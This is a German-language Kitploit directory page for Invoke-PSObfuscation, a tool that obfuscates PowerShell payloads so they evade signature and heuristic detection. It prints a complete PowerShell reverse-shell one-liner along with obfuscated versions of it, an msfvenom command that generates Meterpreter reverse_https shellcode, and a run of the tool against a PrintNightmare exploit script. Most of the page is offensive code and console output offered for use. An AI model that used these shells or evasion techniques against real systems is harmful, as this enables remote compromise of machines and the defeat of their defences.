Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Invoke-PSObfuscation — Ein tiefgehender Ansatz zur Verschleierung der einzelnen Komponenten eines PowerShell-Payloads, egal ob unter Windows oder Kali Linux. | Kitploit
Tools/GitHubGitHub/gh0x0st/invoke-psobfuscation
Payload-GenerierungExploitationShellcodeRed TeamingPayload-Entwicklung
GitHubgh0x0st/invoke-psobfuscation

Invoke-PSObfuscation

Ein tiefgehender Ansatz zur Verschleierung der einzelnen Komponenten eines PowerShell-Payloads, egal ob unter Windows oder Kali Linux.

Repository anzeigen
28452vor 4 JahrenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

Invoke-PSObfuscation

Traditionelle Obfuskationstechniken neigen dazu, Schichten hinzuzufügen, um bestehenden Code zu kapseln, wie z. B. Base64 oder Komprimierung. Diese Payloads haben weiterhin unterschiedliche Erfolgsraten, aber es ist trivial geworden, die beabsichtigte Payload zu extrahieren, und einige Launcher werden oft erkannt, was im Wesentlichen Engpässe schafft.

Der Ansatz, den dieses Tool einführt, ist eine Methodik, bei der Sie die einzelnen Komponenten eines Skripts mit randomisierten Variationen gezielt obfuskieren können, während die gleiche beabsichtigte Logik erhalten bleibt, ohne die gesamte Payload in einer einzigen Schicht zu kapseln. Aufgrund der Komplexität der Obfuskationslogik werden die resultierenden Payloads sehr schwer zu signieren sein und an Heuristik-Engines vorbeischlüpfen, die nicht programmiert sind, die inhärente Logik zu emulieren.

Obwohl dieses Skript die meisten Payloads eigenständig erfolgreich obfuskieren kann, wird dieses Projekt auch als Framework dienen, das ich verwenden werde, um zukünftige Funktionen zu erstellen, die dieses Framework nutzen, um dedizierte obfuskierte Payloads bereitzustellen, wie z. B. eine, die nur Reverse Shells erzeugt.

Ich habe einen Blogbeitrag für Offensive Security als Vorgeschmack auf die Techniken geschrieben, die dieses Tool einführt. Bevor Sie weitergehen, lesen Sie ihn sich am besten zuerst durch: https://www.offensive-security.com/offsec/powershell-obfuscation/

Dedizierte Payloads

Im Rahmen meiner fortlaufenden Arbeit mit PowerShell-Obfuskation erstelle ich Skripte, die dedizierte Payloads produzieren, die dieses Framework nutzen. Diese haben mir geholfen, Zeit zu sparen, und ich hoffe, Sie finden sie ebenfalls nützlich. Sie finden sie in ihren eigenen Ordnern im Root dieses Repositorys.

  1. Get-ReverseShell
  2. Get-DownloadCradle
  3. Get-Shellcode

Komponenten

Wie viele andere Programmiersprachen kann PowerShell in viele verschiedene Komponenten zerlegt werden, die die ausführbare Logik ausmachen. Dies ermöglicht es uns, signaturbasierte Erkennungen mit relativer Leichtigkeit zu umgehen, indem wir ändern, wie wir einzelne Komponenten innerhalb einer Payload darstellen, zu einer obskuren oder unverständlichen Ableitung.

Beachten Sie, dass das Anvisieren jeder Komponente in komplexen Payloads sehr invasiv ist. Dieses Tool ist so gebaut, dass Sie die Komponenten, die Sie obfuskieren möchten, kontrolliert anvisieren können. Ich habe festgestellt, dass viele Signaturen einfach durch das Anvisieren von Cmdlets, Variablen und Kommentaren umgangen werden können. Wenn Sie dies gegen komplexe Payloads wie PrintNightmare verwenden, denken Sie daran, dass auch benutzerdefinierte Funktionsparameter / Variablen geändert werden. Testen Sie alle resultierenden Payloads gründlich und stellen Sie sicher, dass Sie sich über alle geänderten benannten Parameter im Klaren sind.

Komponententypen wie Pipes und Pipeline-Variablen werden hier eingeführt, um Ihre Payload obskurer und schwerer zu dekodieren zu machen.

Unterstützte Typen

  • Aliase (iex)
  • Cmdlets (New-Object)
  • Kommentare (# und <# #>)
  • Ganzzahlen (4444)
  • Methoden ($client.GetStream())
  • Namespace-Klassen (System.Net.Sockets.TCPClient)
  • Pipes (|)
  • Pipeline-Variablen ($_)
  • Zeichenketten ("value" | 'value')
  • Variablen ($client)

Generatoren

Jede Komponente hat ihren eigenen dedizierten Generator, der eine Liste möglicher statischer oder dynamisch generierter Werte enthält, die bei jeder Ausführung zufällig ausgewählt werden. Wenn es mehrere Instanzen einer Komponente gibt, wird jede von ihnen einzeln mit einem Generator iteriert. Dies fügt jedes Mal, wenn Sie dieses Tool gegen eine bestimmte Payload ausführen, einen Grad an Zufälligkeit hinzu, so dass jede Iteration anders ist. Die einzige Ausnahme sind Variablennamen.

Wenn ein Algorithmus, der einer bestimmten Komponente zugeordnet ist, dazu führt, dass eine Payload erkannt wird, ermöglicht das aktuelle Design, die Logik für diesen Generator einfach zu ändern, ohne das gesamte Skript zu gefährden.

root@kitploit:~
$Picker = 1..6 | Get-Random
Switch ($Picker) {
    1 { $NewValue = 'Stay' }
    2 { $NewValue = 'Off' }
    3 { $NewValue = 'Ronins' }
    4 { $NewValue = 'Lawn' }
    5 { $NewValue = 'And' }
    6 { $NewValue = 'Rocks' }
}

Anforderungen

Dieses Framework und die resultierenden Payloads wurden auf den folgenden Betriebssystemen und PowerShell-Versionen getestet. Die resultierenden Reverse Shells funktionieren nicht mit PowerShell v2.0.

Anwendungsbeispiele

CVE-2021-34527 (PrintNightmare)

root@kitploit:~
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating namespace classes
[*] Obfuscating cmdlets
[*] Obfuscating variables
[-] -DriverName is now -QhYm48JbCsqF
[-] -NewUser is now -ybrcKe
[-] -NewPassword is now -ZCA9QHerOCrEX84gMgNwnAth
[-] -DLL is now -dNr
[-] -ModuleName is now -jd
[-] -Module is now -tu3EI0q1XsGrniAUzx9WkV2o
[-] -Type is now -fjTOTLDCGufqEu
[-] -FullName is now -0vEKnCqm
[-] -EnumElements is now -B9aFqfvDbjtOXPxrR
[-] -Bitfield is now -bFUCG7LB9gq50p4e
[-] -StructFields is now -xKryDRQnLdjTC8
[-] -PackingSize is now -0CB3X
[-] -ExplicitLayout is now -YegeaeLpPnB
[*] Removing comments
[*] Writing payload to o-printnightmare.ps1
[*] Done

PS /home/tristram> 

PowerShell Reverse Shell

root@kitploit:~
$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
root@kitploit:~
┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/tristram> . ./Invoke-PSObfuscation.ps1                                                                            
PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating integers
    Generator 2 >> 4444 >> $(0-0+0+0-0-0+0+4444)
    Generator 1 >> 65535 >> $((65535))
[*] Obfuscating strings
    Generator 2 >> 127.0.0.1 >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/16*49/16)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/109*50/109)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+55-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/20*46/20)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/51*49/51))
    Generator 2 >> PS  >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/1*80/1)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/86+83-86)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/HEAD/0+32-0))
    Generator 1 >> >  >> ([string]::join('', ( (62,32) |%{ ( [char][int] $_)})) | % {$_})
[*] Obfuscating cmdlets
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
    Generator 1 >> Out-String >> & (("Tpltq1LeZGDhcO4MunzVC5NIP-vfWow6RxXSkbjYAU0aJm3KEgH2sFQr7i8dy9B")[13,16,3,25,35,3,55,57,17,49] -join '')
[*] Writing payload to /home/tristram/obfuscated.ps1
[*] Done

Obfuskierte PowerShell Reverse Shell

Alt text

Meterpreter PowerShell Shellcode

root@kitploit:~
┌──(tristram㉿kali)-[~]
└─$ pwsh 
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.

https://aka.ms/powershell
Type 'help' to get help.

PS /home/kali> msfvenom -p windows/meterpreter/reverse_https LHOST=127.0.0.1 LPORT=443 EXITFUNC=thread -f ps1 -o meterpreter.ps1
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 686 bytes
Final size of ps1 file: 3385 bytes
Saved as: meterpreter.ps1
PS /home/kali> . ./Invoke-PSObfuscation.ps1                                                                                        
PS /home/kali> Invoke-PSObfuscation -Path ./meterpreter.ps1 -Integers -Variables -OutFile o-meterpreter.ps1                     

     >> Layer 0 Obfuscation
     >> https://github.com/gh0x0st

[*] Obfuscating integers
[*] Obfuscating variables
[*] Writing payload to o-meterpreter.ps1
[*] Done

Kommentarbasierte Hilfe

root@kitploit:~
<#
    .SYNOPSIS
        Transforms PowerShell scripts into something obscure, unclear, or unintelligible.
    
    .DESCRIPTION
        Where most obfuscation tools tend to add layers to encapsulate standing code, such as base64 or compression, 
        they tend to leave the intended payload intact, which essentially introduces chokepoints. Invoke-PSObfuscation 
        focuses on replacing the existing components of your code, or layer 0, with alternative values. 
    
    .PARAMETER Path
        A user provided PowerShell payload via a flat file.
    
    .PARAMETER All
        The all switch is used to engage every supported component to obfuscate a given payload. This action is very intrusive
        and could result in your payload being broken. There should be no issues when using this with the vanilla reverse
        shell. However, it's recommended to target specific components with more advanced payloads. Keep in mind that some of 
        the generators introduced in this script may even confuse your ISE so be sure to test properly.
        
    .PARAMETER Aliases
        The aliases switch is used to instruct the function to obfuscate aliases.

    .PARAMETER Cmdlets
        The cmdlets switch is used to instruct the function to obfuscate cmdlets.

    .PARAMETER Comments
        The comments switch is used to instruct the function to remove all comments.

    .PARAMETER Integers
        The integers switch is used to instruct the function to obfuscate integers.

    .PARAMETER Methods
        The methods switch is used to instruct the function to obfuscate method invocations.

    .PARAMETER NamespaceClasses
        The namespaceclasses switch is used to instruct the function to obfuscate namespace classes.
    
    .PARAMETER Pipes
        The pipes switch is used to instruct the function to obfuscate pipes.

    .PARAMETER PipelineVariables
        The pipeline variables switch is used to instruct the function to obfuscate pipeline variables.

    .PARAMETER ShowChanges
        The ShowChanges switch is used to instruct the script to display the raw and obfuscated values on the screen.

    .PARAMETER Strings
        The strings switch is used to instruct the function to obfuscate prompt strings.
  
    .PARAMETER Variables
        The variables switch is used to instruct the function to obfuscate variables.

    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\revshell.ps1 -All
    
    .EXAMPLE
        PS C:\> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printernightmare.ps1
    
    .OUTPUTS
        System.String, System.String
    
    .NOTES
        Additional information about the function.
#>
Tool herunterladen
PS VersionGetestetes BetriebssystemInvoke-PSObfucation.ps1Reverse Shell
7.1.3Kali 2021.2UnterstütztUnterstützt
5.1.19041.1023Windows 10 10.0.19042UnterstütztUnterstützt
5.1.21996.1Windows 11 10.0.21996UnterstütztUnterstützt